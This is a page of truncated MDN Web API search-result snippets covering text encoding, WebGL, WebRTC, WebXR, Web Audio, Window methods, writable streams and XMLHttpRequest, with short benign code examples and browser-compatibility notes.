...cseucpkdfmtjapanese", "euc-jp", "x-euc-jp" 'euc-jp' "csiso2022jp", "iso-2022-jp" note: firefox used to accept iso-2022-jp-2 sequences silently when an iso-2022-jp decoder was instantiated, however this was removed in version 56 to simplify the api, as no other browsers support it and no pages seem to use it. ...
TextDecoder - Web APIs
2, 226, 229, 242, 44, 32, 236, 232, 240, 33]); console.log(win1251decoder.decode(bytes)); // Привет, мир! constructor textdecoder() returns a newly constructed textdecoder that will generate a code point stream with the decoding method specified in parameters. properties the textdecoder interface doesn't inherit any properties. textdecoder.prototype.encodingread only is a domstring containing the name of the decoder, that is a string describing the method the textdecoder will use. textdecoder.prototype.fatalread only is a boolean indicating whether the error mode is fatal. textdecoder.prototype.ignorebomread only is a boolean indicating whether the byte order marker is ignored. methods the textdecoder interface doesn't inherit any method. textdecoder.protot...
...of the decoder, that is a string describing the method the textdecoder will use. textdecoder.prototype.fatalread only is a boolean indicating whether the error mode is fatal. textdecoder.prototype.ignorebomread only is a boolean indicating whether the byte order marker is ignored. methods the textdecoder interface doesn't inherit any method. textdecoder.prototype.decode() returns a domstring containing the text decoded with the method of the specific textdecoder object. specifications specification status comment encodingthe definition of 'textdecoder' in that specification. living standard initial definition. ...
TextEncoder.prototype.encodeInto() - Web APIs
the first conversion attempt is guaranteed to convert the whole string. note that the s.length * 3 is rare because the string would have to be packed with some of the few characters that expant into 3 bytes. it is unlikely that long text will exceed s.length * 2 bytes in length. thus, a more optimistic approach might be to allocate s.length * 2 + 5 bytes, and perform reallocation in the rare circumstance that the optimistic prediction was wrong. if the output is expected to be long-lived, it makes sense to compute minimum allocation rounduptobucketsize(s.length), the maximum allocation size s.length * 3, and to have a chosen (as a tradeoff between memory usage and speed) threshold t such that if rounduptobucketsize(s.length) + t >= s.length * 3, you simply allocate for s.length * 3. otherw...
...baltextencoderinstance = new globaltextencoder; globaltextencoderprototype["encodeinto"] = function(string, u8arr) { // unfortunately, there's no way i can think of to quickly extract the number of bits written and the number of bytes read and such var strlen = string.length|0, u8len = u8arr.length|0; if (strlen < ((u8len >> 1) + 3|0)) { // in most circumstances, this means its safe. there are still edge-cases which are possible // in many circumstances, we can use the faster native textencoder var res8 = globaltextencoderinstance["encode"](string); var res8len = res8.length|0; if (res8len < u8len) { // if we dont have to worry about read/written u8arr.set( res8 ); ...
Touch.radiusY - Web APIs
Web › API › Touch › radiusY
the value is in css pixels of the same scale as touch.screenx. this value, in combination with touch.radiusx and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen. this may be a large ellipse representing the contact between a fingertip and the screen or a small one representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... screen or a small one representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. syntax var yradius = touchitem.radiusy; return value yradius the y radius of the ellipse that most closely circumscribes the area of contact with the screen. example the touch.radiusx example includes an example of this property's usage. specifications specification status comment touch events – level 2 draft non-stable version. ...
TransitionEvent() - Web APIs
ionevent, representing an event in relation with an transition. syntax transitionevent = new transitionevent(type, {propertyname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); arguments the transitionevent() constructor also inherits arguments from event(). type is a domstring representing the name of the type of the transitionevent. it is case-sensitive and can only be: 'transitionend'. propertyname optional is a domstring containing the value of the property-name css property associated with the transition. it defaults to "". elapsedtime optional is float giving the amount of time the animation has been running, in seconds, when this event fired, excluding...
...time optional is float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). it defaults to 0.0. pseudoelement optional is a domstring, starting with "::", containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element, an empty string: "". it defaults to "". specifications specification status comment css transitionsthe definition of 'transitionevent()' in that specification. working draft initial definition. ...
TransitionEvent.initTransitionEvent() - Web APIs
thod has been dropped during the standard process. it has been deprecated and is in the progress of been removed from most implementation. do not use it anymore, use the standard constructor, transitionevent(), to create a synthetic transitionevent syntax transitionevent.inittransitionevent(typearg, canbubblearg, cancelablearg, transitionnamearg, elapsedtimearg); parameters typearg is a domstring identifying the specific type of transition event that occurred. the following value is allowed: value meaning transitionend the transition completed. canbubblearg is a boolean flag indicating if the event can bubble (true) or not (false). cancelablearg is a boolean flag indicating if the event associated action can be avoided (true) or n...
...transition event that occurred. the following value is allowed: value meaning transitionend the transition completed. canbubblearg is a boolean flag indicating if the event can bubble (true) or not (false). cancelablearg is a boolean flag indicating if the event associated action can be avoided (true) or not (false). transitionnamearg is a domstring containing the name of the css property associated with the transition. this value is not affected by the transition-delay property. elapsedtimearg is float giving the amount of time the transition has been running, in seconds, when this event fired. specifications this method is non-standard and not part of any specification, though it was present in early drafts of css transitions. ...
TypeInfo - Web APIs
Web › API › TypeInfo
methods typeinfo.isderivedfrom() returns a boolean. ...
... methods typeinfo.isderivedfrom() returns a boolean. ...
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
currently, this can be: "ldr": low dynamic range. "hdr": high dynamic range. dynamic range refers to ratio between the brightest and darkest parts of the scene. ...
...currently, this can be: "ldr": low dynamic range. "hdr": high dynamic range. dynamic range refers to ratio between the brightest and darkest parts of the scene. ...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
, gl.texture_mag_filter, gl.nearest); specifications the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 58chrome android full support 58firefox android full support 51opera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support ...
WebGL2RenderingContext - Web APIs
ure. webgl2renderingcontext.copytexsubimage3d() copies pixels from the current webglframebuffer into an existing 3d texture sub-image. webgl2renderingcontext.compressedteximage3d() specifies a three-dimensional texture image in a compressed format. webgl2renderingcontext.compressedtexsubimage3d() specifies a three-dimensional sub-rectangle for a texture image in a compressed format. programs and shaders webgl2renderingcontext.getfragdatalocation() returns the binding of color numbers to user-defined varying out variables. uniforms and attributes webgl2renderingcontext.uniform[1234][uif][v]() methods specifying values of uniform variables. webgl2renderingcontext.uniformmatrix[234]x[234]fv() methods specifying matrix values for uniform variables. webgl2renderingcontext.ver...
... transform feedback operation. uniform buffer objects webgl2renderingcontext.bindbufferbase() binds a given webglbuffer to a given binding point (target) at a given index. webgl2renderingcontext.bindbufferrange() binds a range of a given webglbuffer to a given binding point (target) at a given index. webgl2renderingcontext.getuniformindices() retrieves the indices of a number of uniforms within a webglprogram. webgl2renderingcontext.getactiveuniforms() retrieves information about active uniforms within a webglprogram. webgl2renderingcontext.getuniformblockindex() retrieves the index of a uniform block within a webglprogram. webgl2renderingcontext.getactiveuniformblockparameter() retrieves information about an active uniform block within a webglprogram. webgl2renderingcon...
WebGLRenderingContext.getProgramParameter() - Web APIs
indicating whether or not the last link operation was successful. gl.validate_status: returns a glboolean indicating whether or not the last validation operation was successful. gl.attached_shaders: returns a glint indicating the number of attached shaders to a program. gl.active_attributes: returns a glint indicating the number of active attribute variables to a program. gl.active_uniforms: returns a glint indicating the number of active uniform variables to a program. when using a webgl 2 context, the following values are available additionally: gl.transform_feedback_buffer_mode: returns a glenum indicating the buffer mode when transform feedback is active. may be gl.separate_attribs or gl.interleaved_attribs. gl.transform_feedback_varyings: returns a glint indicatin...
..._feedback_buffer_mode: returns a glenum indicating the buffer mode when transform feedback is active. may be gl.separate_attribs or gl.interleaved_attribs. gl.transform_feedback_varyings: returns a glint indicating the number of varying variables to capture in transform feedback mode. gl.active_uniform_blocks: returns a glint indicating the number of uniform blocks containing active uniforms. return value returns the requested program information (as specified with pname). examples gl.getprogramparameter(program, gl.delete_status); specifications specification status comment webgl 1.0the definition of 'getprogramparameter' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glgetprogramiv'...
WebRTC connectivity - Web APIs
swer and sdp), peers must exchange information about the network connection. this is known as an ice candidate and details the available methods the peer is able to communicate (directly or through a turn server). typically, each peer will propose its best candidates first, making their way down the line toward their worse candidates. ideally, candidates are udp (since it's faster, and media streams are able to recover from interruptions relatively easily), but the ice standard does allow tcp candidates as well. generally, ice candidates using tcp are only going to be used when udp is not available or is restricted in ways that make it not suitable for media streaming. not all browsers support ice over tcp, however. ice allows candidates to represent connections over either tcp or udp, w...
...techange event. when things go wrong during negotiation, there will be times when things just don't work out. for example, when renegotiating a connection—for example, to adapt to changing hardware or network configurations—it's possible that negotiation could reach a dead end, or some form of error might occur that prevents negotiation at all. there may be permissions issues or other problems as well, for that matter. ice rollbacks when renegotiating a connection that's already active and a situation arises in which the negotiation fails, you don't really want to kill the already-running call. after all, you were most likely just trying to upgrade or downgrade the connection, or to otherwise make adaptations to an ongoing session. aborting the call would be an excessive reaction in ...
Web Video Text Tracks Format (WebVTT) - Web APIs
ue. ...
... the new keyword can be used for defining a new vttregion object which can then be used for containing the multiple cues. ...
Using bounded reference spaces - Web APIs
y one which restricts movement based not upon virtual restrictions but upon limitations imposed by the real world. this article examines bounded reference spaces as represented by xrboundedreferencespace, describing what they are and how they're used. there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the preview of 3d objects in the real world using augmented reality. introduction a bounded reference space is one which represents an xr environment in which the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the...
...undary is then defined using an array of 2d coordinates, specifying only the x and z components since y is always 0. these points go around the room in a clockwise direction. note that if the underlying platform defines a fixed room-scale origin and boundary, it may initialize any uninitialized values to match that predefined information; this is not unexpected behavior for users of these platforms. the space inside the boundary is then the user's safe movement area, within which they are tracked and their movements replicated into the virtual world. although the user's xr system may provide automated detection and protection against exiting the safe area, it is always good practice to handle this yourself, watching for collisions between the user's position and the boundary of the world, ...
Targeting and hit detection - Web APIs
ect hit testing detection of collisions with virtual objects usually doesn't actually involve testing for intersection of the ray with one of the scene's polygons, as a typical scene may have hundreds or thousands of polygons, which makes direct tracing of rays to polygons impractical in most cases. instead, most applications find a way to simplify the implementation of their hit testing algorithms. it's possible—or even likely—that whatever 3d graphics engine you're using offers hit testing, especially if it's designed specifically for game development. simplified representative objects one common solution is to overlay simplified, invisible objects atop the objects in your scene. these objects then serve a s. for instance, if you have a more-or-less rectangular object, use a rectan...
..., it refers to "laser imaging, detection, and ranging" or "light detection and ranging"). testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors. some devices include infrared sensors to help range objects, and others provide powerful lidar systems, which use lasers (usually infrared lasers, which can't be seen by the human eye) to determine range to objects in the world. the details of how to work with an individual platform's ranging system is beyond the scope of this article. however, there's hope: a proposal has been floated for a webxr hit test module that would layer atop webxr to provide an api for performing hit testing and collisi...
WebXR Device API - Web APIs
other view is offset to the right by the same distance. the view list can also be used to represent the perspectives of each of the spectators of a scene, in a multi-user environment. xrinputsource represents any input device the user can use to perform targeted actions within the same virtual space as the viewer. input sources may include devices such as hand controllers, optical tracking systems, and other devices which are explicitly associated with the xr device. other input devices such as keyboards, mice, and gamepads are not presented as xrinputsource instances. xrwebgllayer a layer which serves as a webgl frame buffer into which a scene's view is rendered. using webgl to render the scene gains substantial performance benefits due to graphics acceleration. event interfaces the ...
... foundations and basics fundamentals of webxr before diving into the details of how to create content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way. matrix math for the web a guide covering how matrices can be used on the web, including both for css transforms and for webgl purposes, as well as to handle the positioning and orientation of objects in webxr contexts. webxr application life cycle an overview of the overall life cycle of a webxr application, from startup to shutdown. this article serves as an introduction to the basics of what's involved in creating a webxr experience without diving into the code in detail. it's a good way to prepare fo...
Web Audio API best practices - Web APIs
ith your own data. check out the tutorial here for creating your own instrument for information on creating sounds with oscillators and buffers. cross browser & legacy support the web audio api specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. here we'll look at options for getting around cross-browser problems. there's the standardised-audio-context npm package, which creates api functionality consistently across browsers, full holes as they are found. it's constantly in development and endeavours to keep up with the current specification. there is also the option of libraries, of which there are a few depending on your use case. for a good all-rounder, howler.js is a good choice. it has cross-browse...
... to use it here. as you work with a lot of changing values within the web audio api and will want to provide users with control over these, the range input is often a good choice of control to use. it's a good option as you can set minimum and maximum values, as well as increments with the step attribute. setting audioparam values there are two ways to manipulate audionode values, which are themselves objects of type audioparam interface. the first is to set the value directly via the property. so for instance if we want to change the gain value of a gainnode we would do so thus: gainnode.gain.value = 0.5; this will set our volume to half. however, if you're using any of the audioparam's defined methods to set these values, they will take precedence over the above property setting. if ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
k and may run at a more appropriate priority level than your code. the solution is simple, and it involves using an audio node type which, at first glance, doesn't look all that useful: constantsourcenode. the technique this is actually a really easy way to do something that sounds like it might be hard to do. you simply need to create a constantsourcenode and connect it to all of the audioparams whose values should be linked to always match each other. since constantsourcenode's offset value is simply sent straight through to all of its outputs, it acts as a splitter for that value, sending it to each connected parameter. the diagram below shows how this works; an input value, n, is set as the value of the constantsourcenode.offset property. the constantsourcenode can have as many outpu...
...="volumecontrol"> </div> </div> <p>use the button above to start and stop the tones, and the volume control to change the volume of the notes e and g in the chord.</p> css .controls { width: 400px; position: relative; vertical-align: middle; height: 44px; } .button { font-size: 32px; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-al...
window.cancelIdleCallback() - Web APIs
initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55 full support 53disabled disabled from version 53: this feature is behind the dom.requestidlecallback.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support yessafari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
Window.customElements - Web APIs
d initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sion 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.customelements.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
Window.event - Web APIs
Web › API › Window › event
rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... removed again while related compatibility issues are sorted out (see bug 1520756).disabled from version 63: this feature is behind the dom.window.event.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
Window.localStorage - Web APIs
gnito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different localstorage object from the same site accessed with https (e.g., https://example.com). the keys and the values are always in the utf-16 domstring format, which uses two bytes per character. as with objects, integer keys are automatically converted to strings. syntax mystorage = window.localstorage; value a storage object which can be used to access the current origin's local storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if t...
...nippet accesses the current domain's local storage object and adds a data item to it using storage.setitem(). localstorage.setitem('mycat', 'tom'); the syntax for reading the localstorage item is as follows: const cat = localstorage.getitem('mycat'); the syntax for removing the localstorage item is as follows: localstorage.removeitem('mycat'); the syntax for removing all the localstorage items is as follows: localstorage.clear(); note: please refer to the using the web storage api article for a full example. specifications specification status comment html living standardthe definition of 'localstorage' in that specification. living standard ...
Window.minimize() - Web APIs
Web › API › Window › minimize
is by calling window.moveto(). browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Privileged features - Web APIs
ze system command icon in the titlebar and it will be minimizable. any non-dialog window is always minimizable and minimizable=no will be ignored. dependent if on, the new window is said to be dependent of its parent window. a dependent window closes when its parent window closes. a dependent window is minimized on the windows task bar only when its parent window is minimized. on windows platforms, a dependent window does not show on the task bar. a dependent window also stays in front of the parent window. dependent windows are not implemented on macos x, this option will be ignored. the dependent feature is currently under revision to be removed (bug 214867) in msie 6, the nearest equivalent to this feature is the showmodelessdialog() method. chrome if on, the page is loaded as wind...
...g. you can access the command system menu with a right-click on the titlebar). dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. they are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. on mac systems, dialog windows have a different window border and they may get turned into a sheet. modal if on, the new window is said to be modal. the user cannot return to the main window until the modal window is closed. a typical modal window is created by the alert() function. the exact behavior of modal windows depends on the platform and on the mozilla release version. note: as of gecko 1.9, the i...
Window.openDialog() - Web APIs
Web › API › Window › openDialog
not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Window.print() - Web APIs
Web › API › Window › print
n. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes starting with samsung internet 5.0, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.legend full support full support ...
Window.prompt() - Web APIs
Web › API › Window › prompt
n. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 4opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes starting with samsung internet 5.0, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.legend full support full supportsee...
Window.releaseEvents() - Web APIs
not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.depr...
Window.requestFileSystem() - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior t...
window.requestIdleCallback() - Web APIs
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidlecallback experimentalchrome full support 47edge full support 79firefox full support 55notes full support 55notes notes enabled by default. no support 53 — 55notes notes...
...d full support 55notes full support 55notes notes enabled by default. no support 53 — 55notes notes implemented but disabled by default.opera android full support 34safari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
Window.restore() - Web APIs
Web › API › Window › restore
indow.screenx, window.screeny); browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera ? safari ? ...
Window.routeEvent() - Web APIs
Web › API › Window › routeEvent
at has asked to capture events. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not...
Window.setCursor() - Web APIs
Web › API › Window › setCursor
not part of any specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Window.stop() - Web APIs
Web › API › Window › stop
n. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support ...
WindowOrWorkerGlobalScope.btoa() - Web APIs
for example, you can encode control characters such as ascii values 0 through 31. ...
... unicode strings the btoa() function takes a javascript string as a parameter. in javascript strings are represented using the utf-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units. every ascii character fits into the first byte of one of these units, but many other characters don't. base64, by design, expects binary data as its input. in terms of javascript strings, this means strings in which each character occupies only one byte. so if you pass a string into btoa() containing characters that occupy more than one byte, you will get an error, because this is not considered binary data: const ok = "a"; console.log(ok.codepointat(0).tostring(16)); // 61: occupies < 1 byte const notok = "✓" console.log(notok.codepointat(0).tostring(...
Worker() - Web APIs
Web › API › Worker › Worker
ept data uris, that's not the case in all other browsers. syntax var myworker = new worker(aurl, options); parameters aurl a usvstring representing the url of the script the worker will execute. it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. ...
...ting the url of the script the worker will execute. it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. available properties are as follows: type: a domstring specifying the type of worker to create. the value can be classic or module. if not specified, the default used is classic. credentials: a domstring specifying the type of credentials to use for the worker. the value can be omit, same-origin, or include. if not specified, or if type is classic, the default used is omit (no credentials required). name: a domstring specifying an identifying name for the dedicatedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. exceptions a se...
WorkerNavigator.permissions - Web APIs
g draft initial definition. browser support the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 43chrome android full support 43firefox android no support noopera android full support 30safari ios no support nosamsung internet android full support 4.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
WritableStream.abort() - Web APIs
return value a promise, which fulfills with the value given in the reason parameter. ...
... typeerror the stream you are trying to abort is not a writablestream, or it is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... // abort the stream later on, when required writablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStream.getWriter() - Web APIs
hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
... living standard initial definition. ...
WritableStreamDefaultController.error() - Web APIs
ons with the associated stream to error. this method is rarely used, since usually it suffices to return a rejected promise from one of the underlying sink’s methods. however, it can be useful for suddenly shutting down a stream in response to an event outside the normal lifecycle of interactions with the underlying sink. syntax writablestreamdefaultcontroller.error(e); parameters e a domstring representing the error you want future interactions to fail with. return value undefined. exceptions typeerror the stream you are trying to error is not a writablestream. examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, control...
...s not a writablestream. examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'error()' in that specification. living standard initial definition. ...
WritableStreamDefaultController - Web APIs
when constructing a writablestream, the underlying sink is given a corresponding writablestreamdefaultcontroller instance to manipulate. constructor none. writablestreamdefaultcontroller instances are created automatically during writablestream construction. properties none. methods writablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error. ...
...iated stream to error. examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
... living standard initial definition. ...
WritableStreamDefaultWriter.abort() - Web APIs
can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. if the writer is active, the abort() method behaves the same as that for the associated stream (writablestream.abort()). if not, it returns a rejected promise. syntax var promise = writablestreamdefaultwriter.abort(reason); parameters reason optional a domstring representing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a writablestream, or it is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstr...
...m, or it is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.close() - Web APIs
hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
... living standard initial definition. ...
WritableStreamDefaultWriter.write() - Web APIs
hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
... living standard initial definition. ...
Sending and Receiving Binary Data - Web APIs
defined character set. this tells the browser not to parse it, and to let the bytes pass through unprocessed. var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data. the valid range for x is from 0 to filestream.length-1. see downloading binary streams with xmlhttprequest for a detailed explanation. see also downloading files. sending binary data the send method of the xmlhttprequest has been extended to enable easy transmission of binary data by accepting an arraybuffer, blob, or file object. the following example creates a text file on-the-fly and uses the post method to send the "file" to the server. this example uses plain text, but you ...
... = new xmlhttprequest; xhr.open("post", url, false); xhr.send(myarray); this is building a 512-byte array of 8-bit integers and sending it; you can use any binary data you'd like, of course. note: support for sending arraybuffer objects using xmlhttprequest was added to gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6). add information about other browsers' support here. submitting forms and uploading files please, read this paragraph. firefox-specific examples this example transmits binary content asynchronously, using the post method, and firefox's non-standard sendasbinary(). var req = new xmlhttprequest(); req.open("post", url, true); // set headers and mime-type appropriately req.setrequestheader("content-length", 741); req.sendasbinary(abody); line 4 sets the content-...
XMLHttpRequest.response - Web APIs
syntax var body = xmlhttprequest.response; value an appropriate object based on the value of responsetype. you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server. ...
...the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. example this example presents a function, load(), which loads and processes a page from the server. it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when ...
XMLHttpRequest - Web APIs
es this interface also inherits properties of xmlhttprequesteventtarget and of eventtarget. xmlhttprequest.onreadystatechange an eventhandler that is called whenever the readystate attribute changes. xmlhttprequest.readystate read only returns an unsigned short, the state of the request. xmlhttprequest.response read only returns an arraybuffer, blob, document, javascript object, or a domstring, depending on the value of xmlhttprequest.responsetype, that contains the response entity body. xmlhttprequest.responsetext read only returns a domstring that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent. xmlhttprequest.responsetype is an enumerated value that defines the response type. xmlhttprequest.responseurl read on...
